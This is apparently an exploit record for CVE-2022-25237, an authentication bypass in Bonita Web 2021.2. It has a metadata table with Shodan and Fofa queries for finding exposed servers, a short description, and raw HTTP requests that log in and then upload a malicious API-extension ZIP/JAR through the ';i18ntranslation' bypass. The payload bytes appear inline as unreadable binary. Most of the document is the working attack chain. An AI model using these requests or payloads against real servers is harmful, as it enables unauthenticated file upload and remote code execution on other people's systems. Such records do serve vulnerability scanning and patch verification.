| Title | Bonita Web 2021.2 - Authentication/Authorization Bypass |
|---|---|
| Author | Sourabh-Sahu |
| Severity | Critical |
| Impact | Successful exploitation allows unauthenticated attackers to access privileged API endpoints and potentially upload files to the server. |
| Remediation | Update Bonita Web to the latest version that addresses this vulnerability or implement proper access controls to restrict unauthorized API access. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92632 |
| CVE ID | CVE-2022-25237 |
| CWE ID | CWE-285 |
| Shodan Query | http.title:"Bonita" || "Server: Bonita" |
| Fofa Query | title="Bonita" || header="Server: Bonita" |
| Tags | cve cve2022 bonita auth-bypass intrusive file-upload rce vkev vuln |
Bonita Web 2021.2 contains an authentication/authorization bypass vulnerability caused by an overly broad exclude pattern in RestAPIAuthorizationFilter, allowing unauthenticated users to access privileged API endpoints by appending ;i18ntranslation or /../i18ntranslation/ to the URL.
POST /bonita/loginservice HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Length: 39
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=OKgmeu&password=BqHzD5z5&_l=en
POST /bonita/API/pageUpload;i18ntranslation?action=add HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Content-Length: 15139
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Cookie: JSESSIONID=GagZvR; X-Bonita-API-Token=8VENgd
Accept-Encoding: gzip
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="api_extension.zip"
Content-Type: application/octet-stream
PK
�K�T META-INF/PK
�K�T META-INF/maven/PK
�K�T $ META-INF/maven/com.company.rest.api/PK
�K�T 8 META-INF/maven/com.company.rest.api/resourceNameRestAPI/PK
�K�T lib/PK 8M�T~v�� page.properties}TMk�0������Խ�Zw[�!u�ò,�<��Ȓ��4���}��ե�C��Ѽy���ʆ)�l��B�-��)�t^��4�=����ξ�>������m;�� t.tKӷ�$�'d`��]�����F���|A�T�s\��yM_$p'���xi�GG����'������&�S�|��@�$�3����6/��"eܲ�Nu��'�p)߫,�
��Aѩb��֑�TDi
�C��8?N��Z8`�,�k
��?������A����b<:��)��@��l��UKL�|�R����Vk���S����_Sˡ�դ�)^ � ༿S:�L���V��'�~�Sc�e9�%�7��m�[Qnf�/�{�oZ��on�Ǣ,6���v�<+��^6�|�y��<(ƙD=�The)t�'�ϐ����!�"��^'W���`Kە�=�>�2��c;�Z�a?�.�� ��^��הeW������e��;2�P
�[��
�97����Q�H���)��f2��Yg�f����ߊ�CM�;�ǃ�){�Mhm{j����#���mоVV�#�J@ ��MhZ�ʠ JY��Qߋ]�����,�H��/*B�m��Q/���aB���u�բ�B;��8]'��ۘ�'����;��w8E҃��U/#�$�%q��tP/�X[���)�C_);������=�����������al�Ôv�����f.�"�e�PK *i+T�ȁ�� F ? META-INF/maven/com.company.rest.api/resourceNameRestAPI/pom.xml�Y[��6~G�?�SZ��wv�@(A�����R����I<3^�8�������e�Ĺ VB�4c>>����x�g�i�����gOKt��h�eۧ�W��������\�k)��|��)�?�8%{�!��hG[|�~��-� ��J֠onn�͙����,�_����0%>ˤ"YD��y�V>�f�-��2�Mn�
!ne\����",wR��ϒ��L�5Vᶂ��8�x��N�T*؇����D(�!����BD�I����� �5_���.�������
�Ѣf '���U�ͷj4�2,�D��.�<��S�KIF�Գ��
n䂍s
jQ�����J3���=~M�5:/�����u���Z��|,4.�Q�C��9M�-��5$og�,}��Y�D�m�H�
�A��c�Ci�Qx�e���1E:ԭ͠/�Lh8{��g���{��`�d���qq\v
�����Hw@l����"�Gۢ��
j���� ߮��)Yd�>Eg���t�<)��:�+X�K��KP#�=F��>����k`�t�϶��݅
�QDl���S�z�zh�N��덃z�d!� ���S�W�BY�*�Q�rIz-�i��`��DE;K� z�,{۰&u�V�j2bN��������f-y{U��gj�M�����*��M��۠�����H��<u\����|vg�/�}�[�9
s����@�xY��&�
�Cn1c�;�v�-+tm�u��s�,C&���!s8Lh��*�i
�5*����,�q��a��.*�#�De�9C+גgw�y�&�*��G��K��^�=�{\$Tzl�Ƨ�I��')5�����-!�.��,�Q�]�Tvh����RJ��[7�O�s�-�T���P�Z��B�gp�l^��� �XWw�x��@O���Q�6��0�/h���e6nD���q�U?�-�;*�G�Fdء�Pw0жE���:��-j���x���|?�b��G�M��3�Q����
g�eSX�����⃗wE���|]��Y봜�V��x|�
�~b��\��b�)*@g*�j�2
���;�u�6��<�����r5}D�:?q��>f�;-ϼ��Iwr�^Ev���)�նyِ"Q�9IBP�mz�q�n=Mc�n�Hqq����`��.�Z�տt����z��e����y���3-�y�zS*��J�X���
g�5Q�w|d�io ���p��:{dw�&�H�����M����E<۰m!�r*P)�X�w�� [����j��W��4�̆����|�O;��F��Bo�6* �<�wg�<c|35�ǐo��y/'݉c8�{�y��ڈx��XzK�BG�`�4�1�;"�$�{R!Pa~��
\�C;�@���,��E�˴�S"g%�\?�sѽP|n���1_���k��9�/�ؓ�ڻ�W���8�.���c4�J�x̨��'�ތ�K��o��?PK �K�TV��� � F META-INF/maven/com.company.rest.api/resourceNameRestAPI/pom.properties
��
�0 �@�!�ܐĩ�C��:Ԇ*t~�g�`�Q���;��c@������ ΪOQ�H�Z�kS�F+�n�0��~����WYHNI�e �s��S.C�q� {X�]�:�����j����u��5r�PK �K�TeO:M�+ .2 * lib/resourceNameRestAPI-1.0.0-SNAPSHOT.jar�zP]˶-n����]���ظl�-܃��A������!8�s�����s�����]�z�sVϪ�c�^CM �c_1N�w��T��g�W�aS����/3�y��ͯ��_��f��*�2ҚZ��2���cJ�,��(�,����F
�9��=Wf�0�"��n�N
.�7jﶜ
,E
M�\�Zl�7��\8�Xc�ر��7�>m9
\n
�>��5C�^d�!���B�, 4a�P��
��i0�&�ɑ��-��e�k:�}��%Ɵ,]-����9�_��9��.����&~��� �A@��Dha�M������B����B���� �f������j��
p0ss�յ�%��B�&*���.HA9���t*Rɗt�w�4��r2��;��u\;h�h�K��q:V��(D&V�8���x�8 X�z�y�蒦֍S����
PH����9�Rl:mL�F㪀# f��pK��e^�}��gX����?{e����nq�Y�"���֜�SSg��F><��Ee��qVh������Y���V��qH�)r �M"4~/+�r���ߥ#.�۶�N�+S�m�8�Wx*)[q��3��=b^�]ll4����`T Oee��R�� ����p��Hf��y|��mI&��%Y��f�$?�d%�z�`�����ѤS��p�Y�5j�;Yy3���)���P���@yy�&$����FW������V��o�*��շT���7WU���ÈP"��A�#�����E��UCZ��X�'������]!����B랽U6��!������:臘À����
��OM���F��?���.�C
��heZ���sq�j��d�{n��V+|9qm���WÍ��&�[���9�4�M��Q+˯���m��L�� �8F�J�A�����=�5|jI�'U��SE��/>*�Q��PW����G�U;�拼�GV"�V�B��<��C��@�^��.��I��*���+��@�p��П��I(ÍM(
K>Y���~�ۖ,ٯ�b�\ |Q�;l�����'<���yZRF̪r��Ĺ�+��;A[-�_q�2�&�����e���0���IH�����yM���0�Nu��8��Y���u>8�4p&2����@ ��S<����}qs2��C�ĭ�d����H��y�%�n�N���0�C�����p����043�o5�SQ���9埬"ᖯ~.(�����1,<]�f��Rq�z�T�����K�O8Tv���������Y_$��R�%�݈�]�K�ƨ�'T�
�EA��Jo��H_����B�wu>��]"�i�w�;�&�W䤘�� �,�B
{��:�쵅�CS���a0��]�D���e쟏
0�������rL(�a裫#���a���=�7}�_O�F ,��<Hk�$rM�=lVyn&�D��(��ϴ�Դ�#���1�O�0��S����F���m>�\^!7\?�[@1ߧ��
���(�z�.��[�$��ae�r�P�����4�˷T�g�Q`�%�7q�v���ێ�5@n�U���C?faB�Y�(���4=��G���BkB�H4�,�)y?����9��\i�+>rmI�� �-$"sX�0� �8��F�~Ŋ�hp�[��!Y��Y7����}aq�K+�[^��q��}�6��WR�9u* =B���ʪ�ib�BM&���%K��rU]�˺f�^@�Ŀ��ik���_Ikf=���[��,��>#�Fj�ʟQm�`���l{����*�Ϧ�
����'��w�������7���8�%���/�}�xL6�5�=:F;K{z'��\�l!q��~�5��u���i���2���S2�8^XF3AbS�:�.�j�B)B��<,��HQ�Ǔ����- �}�oS�?F�'XbM�N�� =i�Q�hGmv���M����]�8W�N|��S�:��>3�8���X_.8Q�_�5z[o�K]E,2@���7?
�Pv������R�����I2�_�!�G�#�BR�"�q����́���T{],Y�@ZHܾ*|�~�Z�Tj���7vaޒ��
�c�-���g��j;���[�C15G�ۓr_����3�F"��λ�V��>l��?�/.��{�s��U�C���
���� h����Ǐ` �R������܍��s�ze>W��uXW�~���SVX%�CtME$��5E[���D����
��&���B�Fd���*S��c�d>JyHZ a{��~+V�~&��s߂r����J�8�<
��H)o���e-������%:m��p�箲"x=�=Gbt:�H9A)����� ��sGB!%`�M�o��I�8 lI`<6t-|�pr�Q"#_.ߧ�kQ�R��-�LGy��d�yM�| y�# �[��'D�%_����9.o� *�{ĩ�dڃ�vB:̈v���22�$,�`Qi�D�7+�zO���N9TZ���{�*�Fɼ1�-p(H�"i�В��. �g9&��k��%�8T��k�����5 �6�~���6�>�������X�0��1G^���[����C�,R����6��B�����у>������%?��[Za��-�����K5->Ac_Jp�j�,�(�]�ױkĊ�6���ٜ�`?����e+�Q9%+$0�n�Y��3�6��s ��NSsR�HAݿ�E���!ҡ�Pz_Ψ�oA�s�t�,RJR���]3�C4<�
�;��~ YI��h\))�.e��$�H��+������h��+X��"��^�7�Wq49��$�{�
�8�]\{\{N&9� ���$�E|%����86�
jk�B�;��i���a��^8����f.�k�_�ˁ\�v;Y�{�Ņ�.�װ��ʍ��UJ�{z)��"�=�?�=����3F���ٵFi�Qb0�'�%�,��CJrN�z`��5�k)>����5���Ps�(�F�)��A;!r�yYv�a�"�IH��aGU�m`5�C�ݾ�������=��@vHk����f���-��`ƭ�B��&�\���{p�9��镇����k�
7ؕdyy
_I�M^��Z=�))�"9�g��5�3����}TD�&�ː2�C�����M�H��~Z�"Y��I��T�z��E�QW�@دoh�\X�$3\�Ϊ2?ڨo���RY�k��ok������b{&AS�����ժC�˼%��
+#ĕN
�f�Ox��P��fU�q�ƚ���D�
Q˱�{���h��Z���c��-���Z˸�a)��f��c��6w�d���Es����ar+�ݦr;�0�;����4O��d�0��!��j���m�M5������br�
;J�:���Q�Dz�2�Q��x��`�����?A�����-0�6�9:�j����lV:FMl[�_bU������jt��E�:"�j�����8w���
T�Ó �˝��T��p��'���$��y������i�+�uZ7�
�w?������\<��#׆"�H�^�n���·����Nlr��6���;ÒFdT����q���P�'��q��^R>mjʷ7"L�� ��B��q�ʺ�a! �~����qp2�Psur�tu��t�/���'����z��`w����Z44��5�#"G�d�Tp֟��3�=���EUO��|~r�vt����6�����J��ʗ��T��X/��s�&��W����
b�J�c��ᦺz���eU}��S,�e �vU��c��B��!��V{��#f0�B����BK��h��,�l�J��3_��y�P�o�ިmX��V�+E`�w^`=Z bNrҘZ�ZX��lF��]�ZA:8���fC e��W4з<��^���=f��Zy��4S`;�k�)�$���G
� r �<�(z��I5�1����ꨧ�좫�|�P�@2E2�\�v�>fu�.[���зO\�XW\��^��w�>�p�0����7e����y;q���J�9�Cv��?�?����
&�B��R��!?���V�� �G��Dz�;�\�!cX���$���UHR1�i�r����& _*B
�����-!�%N�!V�;�k����G�k��?A����S(�sޔB�X"S`I�Cg���Bjȹ��-e��_"�zl��jr~�{ �.[1���k_=vHE �\���@�}���9c��+�L�a����*�Ĝ{��l|�����H���黚gR�*�X����I�qvb��&�&��A�C� ���j&o9�I���;�.ö���Z|Ж��Bݦg��y�'4ɤ湪��$���d��-!��� �d�`d'@�Y�
���{�x��OH��u�P���"J�_�v��:Q�I
�ó�b����)�:�UkY���4\��~HYX{����+};�ݤ�V�=�rۏ�:��i�%Ҧc:N�}5��8Q���F�Ȱn�X�%C���|K!#�
Ck��I�o��q�Z��<h�T���'�Ba�P�j���f��xt3��b�&��9��&���|�p������l<Xj�o�S�A�������^�Z��ɫ�� �Þ�c��(4�q�
�,�e�E��������}�h{�"��z��)2�y�Y��LY�0z)DNU��VU ���{~�s�JyY��g�a�����TF�{=����$����*2��JGx)�&�#��]����M��e��I;��o�$��
"ly�:Ee���� ͔P���,��A����.�X¯hD,�8��i��t��R��gvE��"�[�>TK����a��Y��"Nɓqo}��AW�٠|jAl�l ܊x�4<��Z=h�se�:�-n���k�Z�y�$
?��D�u��kj
��>��
���5�J��?�T�v�r|
9�z�� ��|�Iχ(�=�
�$I�#c;"E�g���[D�|��n#�Y �'85M���<�<������( ��D>%9��u�����N�nf��vٯ`�p�y�0��F��)d/ک��ٻ
��YB��g-7d��� ��?5���<��Y�{����n�G�6��x��!����X����M���15��C�f�?�A��Y�t���PD s�����A��2S����Pb��ׁ�]k�Φ�W��h�hK�2P<O%�K��w���<